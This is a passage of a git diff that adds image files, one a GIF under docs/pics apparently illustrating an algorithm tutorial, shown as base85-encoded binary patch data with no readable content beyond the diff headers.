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

literal 0
HcmV?d00001

diff --git a/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif b/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif
new file mode 100644
index 0000000000000000000000000000000000000000..312fea607503b2dd3fbc0e7b10968b5470987249
GIT binary patch
literal 16384
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
